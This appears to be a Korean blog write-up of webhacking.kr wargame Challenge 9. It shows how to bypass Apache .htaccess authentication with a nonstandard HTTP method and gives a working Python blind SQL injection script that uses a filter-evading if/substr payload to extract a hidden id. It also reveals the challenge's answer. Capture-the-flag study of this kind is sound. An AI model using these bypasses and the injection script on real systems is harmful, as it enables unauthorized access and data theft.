티스토리 뷰
문제에 접근하면 아파치 웹 인증을 하게 되고 실패할 경우 위 그림에 인증 뒷부분에 보이는 것처럼 Unauthorized 즉, 권한이 없어서 접근할 수 없다.
아파치 웹 인증은 .htaccess 에서 설정할 수 있고 위 사이트와 같이 특정 디렉터리에 대해 접근에 대한 인증을 사용할 수 있다.
<Limit GET POST>
require valid-user
</Limit>
.htaccess 파일에 내부에 위와 같이 되어 있다면 GET, POST 메소드에 대해서 웹 인증을 거치게 된다. 하지만 GET, POST 외에 다른 메소드나 다른 문자로 요청할 경우 우회해서 접근을 할 수 있다. 이를 막기 위해서는 .htaccess 에서 정의된 메소드 외에는 허용하지 않도록 설정해야 한다.
요청할 때마다 변경하기가 번거롭기 때문에 Burp Suite 기능 중에서 Match and Replace 를 이용하여 자동으로 변경되도록 설정해준다.
메소드를 변경해주면 다음과 같이 웹 인증없이 접근할 수 있다.
접근한 웹페이지를 보면 1,2,3을 선택할 수 있고 Password 값을 입력할 수 있다.
1을 선택
2를 선택
3을 선택
GET 파라미터로 no 값을 전달해주고 1,2,3 값에 따라 표시되는 내용이 다른 것을 알 수 있다.
4, 5와 같이 다른 숫자를 넣을 경우 Password 값 입력만 표시가 되고 0을 입력하면 no 값을 전달하지 않은 형태와 같이 나온다.
첫 부분에서 인증 메시지 중에 sql injection world 라고 되어 있는 것과 3을 선택했을 때 나오는 힌트를 바탕으로 SQL Injection을 시도해볼 수 있다.
no=1의 id=Apple
no=2의 id=Banana
no=3의 id=???????????
UNION, SELECT, =(equal), '(single-quote) 등을 입력할 경우 Access Denied 문구와 함께 필터링되어 있다.
no=3일 때 id 값을 알아내기 위해서 if함수를 이용하였다.
no=if(substr(id,1,1)in(0x41),3,0)
> Secret 표시
no=if(substr(id,1,1)in(0x42),3,0)
> 미표시
참일 경우 Secret 문자가 표시가 되고 거짓일 경우 표시가 되지 않는 점을 이용하였다.
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib session = "0eraj42kqvmjj21ths0gtulfg5" url = "http://webhacking.kr/challenge/web/web-09/" password = "" for x in xrange(1,12): for y in xrange(32,127): headers = {"Cookie" : "PHPSESSID=%s" % session} conn = httplib.HTTPConnection("webhacking.kr") conn.request("A", "/challenge/web/web-09/?no=if(substr(id,"+str(x)+",1)in("+hex(y)+"),3,0)", headers=headers) response = conn.getresponse().read() print str(x) + ":" + hex(y) if response.find("Secret") > 0: print "Find: " + chr(y) password += chr(y) break conn.close() print password | cs |
> ALSRKSWHAQL
password에 입력하면 문제를 풀 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
Challenge 14 (0) | 2015.07.07 |
---|---|
Challenge 13 (0) | 2015.07.06 |
Challenge 12 (0) | 2015.07.06 |
Challenge 11 (0) | 2015.07.06 |
Challenge 10 (0) | 2015.07.06 |
Challenge 8 (0) | 2015.07.05 |
Challenge 7 (0) | 2015.07.05 |
Challenge 6 (0) | 2015.06.28 |
Challenge 5 (0) | 2015.06.27 |
Challenge 4 (0) | 2015.06.25 |